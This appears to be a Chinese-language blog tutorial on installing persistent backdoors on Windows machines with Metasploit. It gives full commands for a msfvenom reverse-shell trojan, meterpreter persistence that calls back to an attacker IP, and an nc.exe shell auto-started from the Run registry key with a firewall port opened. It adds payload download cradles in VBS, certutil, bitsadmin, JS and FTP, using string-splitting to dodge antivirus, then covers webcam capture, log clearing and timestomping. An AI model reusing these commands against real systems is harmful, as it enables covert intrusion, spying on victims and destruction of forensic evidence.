系统后门


认识系统后门

meterpreter创建系统后门

  1. 创建x64木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 -f exe > msf.exe
  1. 生成木马后,放到桌面上。
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
show options
set lport 192.168.1.120
exploit

上述木马是运行在内存里的,可以通过关闭进程然后干掉木马。

  1. 通过服务启动
run metsvc -A    # 设定端口上传后门文件

【会开启一个31337端口,然后木马存在于C:\Users\ADMINI~1\APPData\Local\Teemp\FWnOkowKpbzilqs】

  1. 如何利用后门:
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set lport 31337
set rhost [对方的ip]
exploit
  1. 在session中启动利用后门

    run persistence -A -S -U -i 60 -p 4321 -r [黑客ip]
    # 安插一个永久性后门,60s上线一次,使用4321端口
    
    sessions
    # 发现多了一个session6
    
    sessions -i 6
    # 进入session
    
    getuid
    getsystem
    getuid
    
    # 然后重启/注销
    

【如果msf关闭了,下次重开】

use multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4321
set lhost [自己ip]
exploit
  1. 重启回来登录后,我们再重开msf,也可以监听。
  2. 即使sessions -k [id] 【干掉session id后】,过了60s还会回来

利用上传文件安插后门:

安插木马后

利用nc:

进入一个session中:

upload /root/nc.exe c:\\

查看注册表里有什么:

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

把nc放到自动启动里:

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'c:\nc.exe -Ldp 444 -e cmd.exe'

查看代码写的对不对:

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc

查看防火墙状态:

shell
netsh firewall show opmode

添加一个防火墙规则允许444端口通过:

sh
netsh firewall add portopening TCP 444 "FireWall" ENABLE ALL

目标主机重启之后:

nc -v [目标ip] 444

然后即可连接上。

拓展:

注册表修改的内容可以在msconfig的启动选项卡里看到
可以考虑使用自解压的方法进行伪装…

黑客操作的关键:利用合法软件去进行操作

下载的本质:把对方服务器上所存放的二进制代码原封不动地根据http 协议或其他协议复制到自己的硬盘上。

使用vbs去远程下载文件:

比如在自己网页上创建一个haha.txt文件当作木马。

创建一个a.vbs:

set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2

# 创建对象a【"adod"+"b.stream"等同于adodb.stream,拆分是为了免杀】
# get传输
# 参数为0
# 表示下载0,保存到1的地方

cmd运行:

cscript a.vbs http://www.xx.com/haha.txt c:\b.txt
cscript a.vbs [参数0:http://www.xx.com/haha.txt] [参数1:c:\b.txt]
# 下载0保存到1

或cmd使用echo直接写:

echo set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> a.vbs

容易被杀毒软件查到

cmd,certutil下载文件:

certutil -urlcache -split -f http://www.xx.com/haha.txt

# 会下载到本目录

有一个弊端:
每次下载的时候,都有留存,导致留下入侵痕迹,所以每次下载之后,都要清理痕迹:

certutil -urlcache -split -f http://www.xx.com/haha.txt delete

除了下载文件还可以校验hash值:

certutil -hashfile c:\xxx.exe

如果文件被动过,hash值就会改变

除了下载文件还可以加密解密文件:

certutil -encode c:\haha.txt c:\haha-en.txt
certutil -decode c:\haha-en.txt c:\haha-de.txt

使用cmd,bitsadmin下载:

下载主命令:

bitsadmin /rawreturn /transfer down http://www.xx.com/haha.txt c:\haha.txt

提高下载主命令的优先级(下载大型文件):

bitsadmin /setpriority down foreground

使用js下载:

创建一个a.js

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);WinHttpReq.Send();  # 发送请求
WScript.Echo(WinHttpReq.ResponseText);  # 返回

# 然后cmd:
cscript /nologo a.js http://www.xx.com/haha.txt >> 123.txt
# 适用于下载脚本

创建一个a.js下载后直接保存为文件:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("abc.exe");

# cmd:
cscript /nologo a.js http://www.xx.com/aa.exe

较可靠

使用ftp脚本:

创建一个a.bat

echo open [黑客ip] > ftp.txt
echo test>>ftp.txt
echo 123>>ftp.txt
echo binary>> ftp.txt
echo get haha.txt>> ftp.txt
echo bye >> ftp.txt

创建一个haha.txt

*CODE:\

双击bat文件会得到一个txt文件。

然后再cmd里把得到的txt文件内容当作一个脚本去执行:

ftp -s:ftp.txt

kali的meterpreter其他命令:

uictl [enable/disable] [keyboard/mouse/all]   # 开启/停用键盘/鼠标

webcam_list    # 查看摄像头
webcam_snap    # 通过摄像头拍照
webcam_stream   # 通过摄像头开启视频

execute    # 在目标上执行文件
execute -H -i -f [exe文件]    # 创建新的隐藏、可交互的、命令:.exe
cmd.exe
execute -H -i -f cmd.exe    # 创建新的隐藏、可交互的、命令:cmd.exe

getpid    # 获取当前进程的pid【进程的id】
ps     # 查看活跃进程
migrate [pid]    # 将meterpreter转移到某个pid中[附着]
kill [pid]     # 杀死某个进程

clearev    # 清除日志,清除windows里的应用程序日志、系统日志、安全日志。但会留下痕迹

timestomp -v c://a.exe    # 查看c盘的a.exe的时间戳
timestomp c://b.exe -f c://a.exe    # 将a.exe的时间戳复制给b.exe

文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录